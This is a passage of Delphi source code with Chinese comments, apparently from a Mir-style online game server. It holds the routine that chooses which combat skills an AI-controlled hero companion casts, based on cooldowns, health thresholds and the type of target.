Exit; end; if IsAllowUseMagic(25) and (GetTickCount - m_SkillUseTick[25] > 3000) and (CheckTargetXYCount2 > 0) then begin //英雄半月弯刀 if not m_boUseHalfMoon then HalfMoonOnOff(True); m_SkillUseTick[25]:= GetTickCount; Result := 25; exit; end; if IsAllowUseMagic(12) and (GetTickCount - m_SkillUseTick[12] > 3000) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); m_SkillUseTick[12]:= GetTickCount; Result := 12; exit; end; if IsAllowUseMagic(7) and (GetTickCount - m_SkillUseTick[7] > 3000) then begin //攻杀剑术 m_boPowerHit := True; m_SkillUseTick[7]:= GetTickCount; Result := 7; Exit; end; if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.6)) then begin //PK时,使用野蛮冲撞 if IsAllowUseMagic(27) and (GetTickCount - m_SkillUseTick[27] > 3000) then begin m_SkillUseTick[27]:= GetTickCount; Result := 27; Exit; end end else begin //打怪使用 20080323 if IsAllowUseMagic(27) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.6)) and (GetTickCount - m_SkillUseTick[27] > 3000) then begin m_SkillUseTick[27]:= GetTickCount; Result := 27; Exit; end; end; if IsAllowUseMagic(41) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (GetTickCount - m_SkillUseTick[41] > 10000) then begin//狮子吼 m_SkillUseTick[41]:= GetTickCount(); Result := 41; Exit; end; end; 1: begin //法师 //使用 护体神盾 20080107 if IsAllowUseMagic(75) and (m_wStatusTimeArr[STATE_ProtectionDEFENCE] = 0) and (not m_boProtectionDefence) and (m_ExpHitter <> nil) and//20081214 受攻击时才开盾 (GetTickCount - m_boProtectionTick > g_Config.dwProtectionTick) and (GetTickCount - m_SkillUseTick[75] > 3000) then begin m_SkillUseTick[75]:= GetTickCount;//20080228 Result := 75; Exit; end; //使用 魔法盾 if (m_wStatusTimeArr[STATE_BUBBLEDEFENCEUP] = 0) and (not m_boAbilMagBubbleDefence) then begin if IsAllowUseMagic(66) then begin//4级魔法盾 Result := 66; Exit; end; if IsAllowUseMagic(31) then begin Result := 31; Exit; end; end; //酒气护体 20080925 if IsAllowUseMagic(68) and (m_WAbil.MP > 30) and (GetTickCount - m_SkillUseTick[68] > 3000) then begin if (m_Abil.WineDrinkValue >= Round(m_Abil.MaxAlcohol * g_Config.nMinDrinkValue68 div 100)) then begin if (GetTickCount - m_dwStatusArrTimeOutTick[4] > g_Config.nHPUpTick * 1000) and (m_wStatusArrValue[4] = 0) then begin m_SkillUseTick[68]:= GetTickCount; Result := 68; Exit; end; end; end; //分身不存在,则使用分身术 20080206 if (m_SlaveList.Count = 0) and IsAllowUseMagic(46) and ((GetTickCount - m_dwLatest46Tick) > g_Config.nCopyHumanTick * 1000)//召唤分身间隔 and ((g_Config.btHeroSkillMode46) or (m_LastHiter<> nil) or (m_ExpHitter<> nil)) then begin if m_Magic46Skill <> nil then begin case m_Magic46Skill.btLevel of//按技能等级及等级激活参数来判断是否可使用分身术 0: begin if (m_WAbil.HP <= Round(m_WAbil.MaxHP * (g_Config.nHeroSkill46MaxHP_0 /100))) then begin//20080826 受到攻击后,HP低于80%才使用分身 Result := 46; Exit; end; end; 1: begin if (m_WAbil.HP <= Round(m_WAbil.MaxHP * (g_Config.nHeroSkill46MaxHP_1 /100))) then begin//1级 英雄召唤分身HP的比率 20081217 Result := 46; Exit; end; end; 2: begin if (m_WAbil.HP <= Round(m_WAbil.MaxHP * (g_Config.nHeroSkill46MaxHP_2 /100))) then begin//1级 英雄召唤分身HP的比率 20081217 Result := 46; Exit; end; end; 3: begin if (m_WAbil.HP <= Round(m_WAbil.MaxHP * (g_Config.nHeroSkill46MaxHP_3 /100))) then begin//1级 英雄召唤分身HP的比率 20081217 Result := 46; Exit; end; end; end;//case end; end; if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level) then begin //PK时,旁边有人贴身,使用抗拒火环 if IsAllowUseMagic(8) and ((GetTickCount - m_SkillUseTick[8]) > 3000{3 * 1000}) then begin m_SkillUseTick[8] := GetTickCount; Result := 8; Exit; end end else begin //打怪,怪级低于自己,并且有怪包围自己就用 抗拒火环 if IsAllowUseMagic(8) and ((GetTickCount - m_SkillUseTick[8]) > 3000{3 * 1000}) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level) then begin m_SkillUseTick[8] := GetTickCount; Result := 8; Exit; end; end; if (m_nLoyal >= 500) and ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) then begin if IsAllowUseMagic(45) and (GetTickCount - m_SkillUseTick[45] > 1300) then begin//忠诚度5%时,PK时使用灭天火次数多 20080828 m_SkillUseTick[45] := GetTickCount; Result := 45;//英雄灭天火 Exit; end; end else begin if IsAllowUseMagic(45) and (GetTickCount - m_SkillUseTick[45] > 3000{1000 * 3}) then begin m_SkillUseTick[45] := GetTickCount; Result := 45;//英雄灭天火 Exit; end; end; if (GetTickCount - m_SkillUseTick[10] > 5000{1000 * 5}) and m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 5, m_nTargetX, m_nTargetY) then begin if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (GetDirBaseObjectsCount(m_btDirection,5)> 0) and (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4)))) then begin if IsAllowUseMagic(10) then begin m_SkillUseTick[10] := GetTickCount; Result := 10;//英雄疾光电影 20080421 Exit; end else if IsAllowUseMagic(9) then begin m_SkillUseTick[10] := GetTickCount; Result := 9;//地狱火 Exit; end; end else if (GetDirBaseObjectsCount(m_btDirection,5)> 1) and (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4)))) then begin if IsAllowUseMagic(10) then begin m_SkillUseTick[10] := GetTickCount; Result := 10;//英雄疾光电影 20080421 Exit; end else if IsAllowUseMagic(9) then begin m_SkillUseTick[10] := GetTickCount; Result := 9;//地狱火 Exit; end; end; end; if IsAllowUseMagic(32) and (GetTickCount - m_SkillUseTick[32] > 10000{1000 * 10}) and (m_TargetCret.m_Abil.Level < g_Config.nMagTurnUndeadLevel) and (m_TargetCret.m_btLifeAttrib = LA_UNDEAD) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level -1) then begin //目标为不死系 m_SkillUseTick[32] := GetTickCount; Result := 32; //圣言术 20080710 Exit; end; if CheckTargetXYCount(m_nCurrX, m_nCurrY, 2) > 1 then begin //被怪物包围 if IsAllowUseMagic(22) and (GetTickCount - m_SkillUseTick[22] > 10000{10 * 1000}) and (g_EventManager.GetRangeEvent(m_PEnvir, Self, m_nCurrX, m_nCurrY, 6, ET_FIRE) <> 0) then begin if (m_TargetCret.m_btRaceServer <> 101) and (m_TargetCret.m_btRaceServer <> 102) and (m_TargetCret.m_btRaceServer <> 104) then begin//除祖玛怪,才放火墙 20081217 m_SkillUseTick[22] := GetTickCount; Result := 22; //火墙 Exit; end; end; //地狱雷光,只对祖玛(101,102,104),沃玛(91,92,97),野猪(81)系列的用 20080217 //遇到祖玛的怪应该多用地狱雷光,夹杂雷电术,少用冰咆哮 20080228 if m_TargetCret.m_btRaceServer in [91,92,97,101,102,104] then begin if IsAllowUseMagic(24) and (GetTickCount - m_SkillUseTick[24] > 4000{1000 * 4}) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin m_SkillUseTick[24] := GetTickCount; Result := 24; //地狱雷光 Exit; end else if IsAllowUseMagic(11) then begin Result := 11; //英雄雷电术 Exit; end else if IsAllowUseMagic(33) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 2) > 2) then begin Result := 33; //英雄冰咆哮 Exit; end else if IsAllowUseMagic(58) and (GetTickCount - m_SkillUseTick[58] > 4000{1000 * 4}) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin m_SkillUseTick[58] := GetTickCount; Result := 58; //流星火雨 20080528 Exit; end; end; case Random(3) of //随机选择魔法 0: begin //火球术,大火球,雷电术,爆裂火焰,英雄冰咆哮,流星火雨 从高到低选择 if IsAllowUseMagic(58) and (GetTickCount - m_SkillUseTick[58] > 4000{1000 * 4}) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin m_SkillUseTick[58] := GetTickCount; Result := 58; //流星火雨 Exit; end else if IsAllowUseMagic(33) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin Result := 33; //英雄冰咆哮 Exit; end else if IsAllowUseMagic(23) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(11) then begin Result := 11; //英雄雷电术 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; if IsAllowUseMagic(37) then begin Result := 37; //英雄群体雷电 Exit; end; if IsAllowUseMagic(47) then begin Result := 47;//火龙焰 Exit; end; end; 1: begin if IsAllowUseMagic(37) then begin Result := 37; Exit; end; if IsAllowUseMagic(47) then begin Result := 47; Exit; end; if IsAllowUseMagic(58) and (GetTickCount - m_SkillUseTick[58] > 4000{1000 * 4}) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin m_SkillUseTick[58] := GetTickCount; Result := 58; //流星火雨 Exit; end else if IsAllowUseMagic(33) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin//火球术,大火球,地狱火,爆裂火焰,冰咆哮 从高到低选择 Result := 33;//冰咆哮 Exit; end else if IsAllowUseMagic(23) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(11) then begin Result := 11; //英雄雷电术 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; end; 2:begin if IsAllowUseMagic(47) then begin Result := 47; Exit; end; if IsAllowUseMagic(58) and (GetTickCount - m_SkillUseTick[58] > 4000{1000 * 4}) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin m_SkillUseTick[58]:= GetTickCount(); Result := 58; //流星火雨 Exit; end else if IsAllowUseMagic(33) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin //火球术,大火球,地狱火,爆裂火焰 从高到低选择 Result := 33; Exit; end else if IsAllowUseMagic(23) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 1) then begin Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(11) then begin Result := 11; //英雄雷电术 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; if IsAllowUseMagic(37) then begin Result := 37; Exit; end; end; end; end else begin //只有一个怪时所用的魔法 // if CheckTargetXYCountOfDirection(m_nTargetX, m_nTargetY, m_btDirection, 3) = 1 then begin if IsAllowUseMagic(22) and (GetTickCount - m_SkillUseTick[22] > 10000{10 * 1000}) and (g_EventManager.GetRangeEvent(m_PEnvir, Self, m_nCurrX, m_nCurrY, 6, ET_FIRE) = 0) then begin if (m_TargetCret.m_btRaceServer <> 101) and (m_TargetCret.m_btRaceServer <> 102) and (m_TargetCret.m_btRaceServer <> 104) then begin//除祖玛怪,才放火墙 20081217 m_SkillUseTick[22] := GetTickCount; Result := 22; Exit; end; end; case Random(3) of //随机选择魔法 0:begin if IsAllowUseMagic(11) then begin Result := 11;//雷电术 Exit; end else if IsAllowUseMagic(33) then begin Result := 33; Exit; end else if IsAllowUseMagic(23) then begin //火球术,大火球,地狱火,爆裂火焰 从高到低选择 Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; if IsAllowUseMagic(37) then begin Result := 37; Exit; end; if IsAllowUseMagic(47) then begin Result := 47; Exit; end; end; 1:begin if IsAllowUseMagic(37) then begin Result := 37; Exit; end; if IsAllowUseMagic(47) then begin Result := 47; Exit; end; if IsAllowUseMagic(11) then begin Result := 11;//雷电术 Exit; end else if IsAllowUseMagic(33) then begin Result := 33; Exit; end else if IsAllowUseMagic(23) then begin Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; end; 2:begin if IsAllowUseMagic(47) then begin Result := 47; Exit; end; if IsAllowUseMagic(11) then begin Result := 11;//雷电术 Exit; end else if IsAllowUseMagic(33) then begin Result := 33; Exit; end else if IsAllowUseMagic(23) then begin Result := 23; //爆裂火焰 Exit; end else if IsAllowUseMagic(5) and (m_nLoyal < 500) then begin Result := 5;//大火球 Exit; end else if IsAllowUseMagic(1) and (m_nLoyal < 500) then begin Result := 1;//火球术 Exit; end; if IsAllowUseMagic(37) then begin Result := 37; Exit; end; end; //end; end; end; //从高到低使用魔法 20080710 if IsAllowUseMagic(58) and (GetTickCount - m_SkillUseTick[58] > 4000{1000 * 4}) then begin//流星火雨 m_SkillUseTick[58]:= GetTickCount; Result := 58; Exit; end; if IsAllowUseMagic(47) then begin//火龙焰 Result := 47; Exit; end; if IsAllowUseMagic(45) then begin//英雄灭天火 Result := 45; Exit; end; if IsAllowUseMagic(37) then begin//英雄群体雷电 Result := 37; Exit; end; if IsAllowUseMagic(33) then begin//英雄冰咆哮 Result := 33; Exit; end; if IsAllowUseMagic(32) and (m_TargetCret.m_Abil.Level < g_Config.nMagTurnUndeadLevel) and (m_TargetCret.m_btLifeAttrib = LA_UNDEAD) and (m_TargetCret.m_WAbil.Level < m_WAbil.Level -1) then begin //目标为不死系 Result := 32; //圣言术 20080710 Exit; end; if IsAllowUseMagic(24) and (CheckTargetXYCount(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, 3) > 2) then begin//地狱雷光 Result := 24; Exit; end; if IsAllowUseMagic(23) then begin//爆裂火焰 Result := 23; Exit; end; if IsAllowUseMagic(11) then begin//英雄雷电术 Result := 11; Exit; end; if IsAllowUseMagic(10) and m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 5, m_nTargetX, m_nTargetY) and (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4)))) then begin Result := 10;//英雄疾光电影 Exit; end; if IsAllowUseMagic(9) and m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 5, m_nTargetX, m_nTargetY) and (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)<=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=0)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=0) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)<=4)) or (((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=2) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=2)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=3) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=3)) or ((Abs(m_nCurrX-m_TargetCret.m_nCurrX)=4) and (Abs(m_nCurrY-m_TargetCret.m_nCurrY)=4)))) then begin Result := 9;//地狱火 Exit; end; if IsAllowUseMagic(5) then begin Result := 5;//大火球 Exit; end; if IsAllowUseMagic(1) then begin Result := 1;//火球术 Exit; end; if IsAllowUseMagic(22) and (g_EventManager.GetRangeEvent(m_PEnvir, Self, m_nCurrX, m_nCurrY, 6, ET_FIRE) <> 0) then begin if (m_TargetCret.m_btRaceServer <> 101) and (m_TargetCret.m_btRaceServer <> 102) and (m_TargetCret.m_btRaceServer <> 104) then begin//除祖玛怪,才放火墙 20081217 Result := 22; //火墙 Exit; end; end; end; 2: begin //道士 //英雄HP值等于或少于60%时,使用治愈术 20080204 修改 if (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.7)) then begin //使用治愈术 if IsAllowUseMagic(2) and (GetTickCount - m_SkillUseTick[2] > 3000{1000 * 3}) then begin {使用治愈术} m_SkillUseTick[2] := GetTickCount; //20071226 Result := 2; Exit; end; end; //主人HP值等于或少于60%时,使用群体治愈术 20080204 修改 if (m_Master.m_WAbil.HP <= Round(m_Master.m_WAbil.MaxHP * 0.7)) then begin if CheckMasterXYOfDirection(m_Master,m_nTargetX, m_nTargetY, m_btDirection, 3)>=1 then begin //判断主人与英雄的距离 if IsAllowUseMagic(29) and (GetTickCount - m_SkillUseTick[29] > 3000{1000 * 3}) then begin {使用群体治愈术} m_SkillUseTick[29] := GetTickCount; //20071226 Result := 29; end else if IsAllowUseMagic(2) and (GetTickCount - m_SkillUseTick[2] > 3000{1000 * 3}) then begin {使用治愈术} m_SkillUseTick[2] := GetTickCount; Result := 2; end; end else begin if IsAllowUseMagic(2) and (GetTickCount - m_SkillUseTick[2] > 3000{1000 * 3}) then begin {使用治愈术} m_SkillUseTick[2] := GetTickCount; //20071226 Result := 2; end; end; if Result > 0 then Exit; end; if (m_SlaveList.Count = 0) and CheckHeroAmulet(1,5) and (GetTickCount - m_SkillUseTick[17] > 1000 * 3) and (IsAllowUseMagic(72) or IsAllowUseMagic(30) or IsAllowUseMagic(17)) and (m_WAbil.MP > 20) then begin m_SkillUseTick[17]:= GetTickCount; //默认,从高到低 if IsAllowUseMagic(72) then Result := 72//召唤月灵 else if IsAllowUseMagic(30) then Result := 30//召唤神兽 else if IsAllowUseMagic(17) then Result := 17;//召唤骷髅 Exit; end; if IsAllowUseMagic(75) and (m_wStatusTimeArr[STATE_ProtectionDEFENCE] = 0) and (not m_boProtectionDefence) and (m_ExpHitter <> nil) and//20081214 受攻击时才开盾 (GetTickCount - m_boProtectionTick > g_Config.dwProtectionTick) and (GetTickCount - m_SkillUseTick[75] > 3000) then begin {使用 护体神盾 20080107} m_SkillUseTick[75]:= GetTickCount;//20080228 Result := 75; Exit; end; if (m_wStatusTimeArr[STATE_BUBBLEDEFENCEUP] = 0) and (not m_boAbilMagBubbleDefence) then begin if IsAllowUseMagic(73) then begin//道力盾 20080909 Result := 73; Exit; end; end; //酒气护体 20080925 if IsAllowUseMagic(68) and (m_WAbil.MP > 30) and (GetTickCount - m_SkillUseTick[68] > 3000) then begin if (m_Abil.WineDrinkValue >= Round(m_Abil.MaxAlcohol * g_Config.nMinDrinkValue68 div 100)) then begin if (GetTickCount - m_dwStatusArrTimeOutTick[4] > g_Config.nHPUpTick * 1000) and (m_wStatusArrValue[4] = 0) then begin m_SkillUseTick[68]:= GetTickCount; Result := 68; Exit; end; end; end; if CheckHeroAmulet(1,1) and (m_wStatusTimeArr[STATE_TRANSPARENT]= 0) then begin//被怪物包围时,才用隐身术,PK时不用 20081223 if (CheckTargetXYCount(m_nCurrX, m_nCurrY, 2) > 2) and (m_TargetCret.m_btRaceServer <> RC_PLAYOBJECT) and (m_TargetCret.m_btRaceServer <> RC_HEROOBJECT) then begin if IsAllowUseMagic(19) and (GetTickCount - m_SkillUseTick[19] > 8000) then begin//英雄群体隐身术 20081214 m_SkillUseTick[19]:= GetTickCount; Result := 19; Exit; end else if IsAllowUseMagic(18) and (GetTickCount - m_SkillUseTick[18] > 8000) then begin//英雄隐身术 20081214 m_SkillUseTick[18]:= GetTickCount; Result := 18; Exit; end; end; end; // if (m_TargetCret <> nil) and m_boIsUseAttackMagic and CheckHeroAmulet(1,1) then begin//20080401修改判断符的方法 {if IsAllowUseMagic(15) and (m_Master.m_wStatusTimeArr[STATE_DEFENCEUP] = 0) then begin //给主人打魔防 m_TargetCret := m_Master; Result := 15; Exit; end;} {if IsAllowUseMagic(15) and (m_wStatusTimeArr[STATE_DEFENCEUP] = 0) and //20080710 注释 (GetTickCount - m_SkillUseTick[15] > 1000 * 3) then begin // 使用神圣战甲术 m_SkillUseTick[15] := GetTickCount; m_TargetCret := self; Result := 15; Exit; end; } //20080427 英雄给自己的宝宝加防 (* if IsAllowUseMagic(15) and (m_SlaveList.Count > 0) and (GetTickCount - m_SkillUseTick[15] >3000{1000 * 3}) and CheckHeroAmulet(1,1) then begin m_SkillUseTick[15] := GetTickCount; for I := 0 to m_SlaveList.Count - 1 do begin Slave := TBaseObject(m_SlaveList.Items[I]); if (Slave <> nil) and (Slave.m_wStatusTimeArr[STATE_DEFENCEUP] = 0) then begin m_TargetCret := Slave; Result := 15; Exit; end; end; end; *) {if IsAllowUseMagic(14) and (m_Master.m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) then begin //给主人打防 m_TargetCret := m_Master; Result := 14; Exit; end; } (* if IsAllowUseMagic(14) and (m_wStatusTimeArr[STATE_MAGDEFENCEUP] = 0) and//幽灵盾 20080710 注释 (GetTickCount - m_SkillUseTick[14] > 3000{1000 * 3}) then begin m_SkillUseTick[14] := GetTickCount; m_TargetCret := self; Result := 14; Exit; end; *) // end; if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level <= m_WAbil.Level) then begin //PK时,旁边有人贴身,使用气功波 if IsAllowUseMagic(48) and ((GetTickCount - m_SkillUseTick[48]) > 3000{3 * 1000}) then begin m_SkillUseTick[48] := GetTickCount; Result := 48; Exit; end end else begin //打怪,怪级低于自己,并且有怪包围自己就用 气功波 if IsAllowUseMagic(48) and ((GetTickCount - m_SkillUseTick[48]) > 3000{3 * 1000}) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) and (m_TargetCret.m_WAbil.Level <= m_WAbil.Level) then begin m_SkillUseTick[48] := GetTickCount; Result := 48; Exit; end; end; (* //PK 时,先无极后双毒,打怪时是先双毒再无极 20080711 if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) then begin//PK //无极真气 20080323 if IsAllowUseMagic(50) and (GetTickCount - m_SkillUseTick[50] > g_Config.nAbilityUpTick * 1000) and (m_wStatusArrValue[2]=0) and ((g_Config.btHeroSkillMode50) or (m_TargetCret.m_Abil.HP >=800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_btRaceServer = RC_PLAYMOSTER)))then begin//20080827 m_SkillUseTick[50] := GetTickCount; Result := 50; Exit; end; if (m_TargetCret.m_wStatusTimeArr[POISON_DECHEALTH] = 0) and (GetUserItemList(2,1)>= 0) //绿毒 and ((g_Config.btHeroSkillMode) or (m_TargetCret.m_Abil.HP >=800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_btRaceServer = RC_PLAYMOSTER)) or m_boTarget) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) < 7{4}) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) < 7{4})) then begin //对于血量超过800的怪用 修改距离 20080704 n_AmuletIndx:= 0;//20080413 case Random(2) of 0: begin if IsAllowUseMagic(38) and (GetTickCount - m_SkillUseTick[38] > 1000) then begin m_SkillUseTick[38] := GetTickCount; Result := 38;//英雄群体施毒 exit; end else if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; 1: begin if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; end; end; if (m_TargetCret.m_wStatusTimeArr[POISON_DAMAGEARMOR] = 0) and (GetUserItemList(2,2)>= 0) //红毒 and ((g_Config.btHeroSkillMode) or (m_TargetCret.m_Abil.HP >= 800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_btRaceServer = RC_PLAYMOSTER)) or m_boTarget) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) < 7{4}) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) < 7{4}))then begin //对于血量超过100的怪用 n_AmuletIndx:= 0;//20080413 case Random(2) of 0: begin if IsAllowUseMagic(38) and (GetTickCount - m_SkillUseTick[38] > 1000) then begin m_SkillUseTick[38] := GetTickCount; Result := 38;//英雄群体施毒 exit; end else if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; 1: begin if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; end; end; end else begin *) if (m_TargetCret.m_wStatusTimeArr[POISON_DECHEALTH] = 0) and (GetUserItemList(2,1)>= 0) //绿毒 and ((g_Config.btHeroSkillMode) or (m_TargetCret.m_Abil.HP >=800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_btRaceServer = RC_PLAYMOSTER)) or m_boTarget) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) < 7{4}) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) < 7{4})) and (m_TargetCret.m_btRaceServer <> 110) and (m_TargetCret.m_btRaceServer <> 111) and (m_TargetCret.m_btRaceServer <> 55) then begin //对于血量超过800的怪用 修改距离 20080704 不毒城墙 n_AmuletIndx:= 0;//20080413 case Random(2) of 0: begin if IsAllowUseMagic(38) and (GetTickCount - m_SkillUseTick[38] > 1000) then begin m_SkillUseTick[38] := GetTickCount; Result := 38;//英雄群体施毒 exit; end else if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; 1: begin if IsAllowUseMagic(6) and (GetTickCount - m_SkillUseTick[6] > 1000) then begin m_SkillUseTick[6] := GetTickCount; Result := 6;//英雄施毒术 exit; end; end; end; end; if (m_TargetCret.m_wStatusTimeArr[POISON_DAMAGEARMOR] = 0) and (GetUserItemList(2,2)>= 0) //红毒 and ((g_Config.btHeroSkillMode) or (m_TargetCret.m_Abil.HP >= 800) or ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or 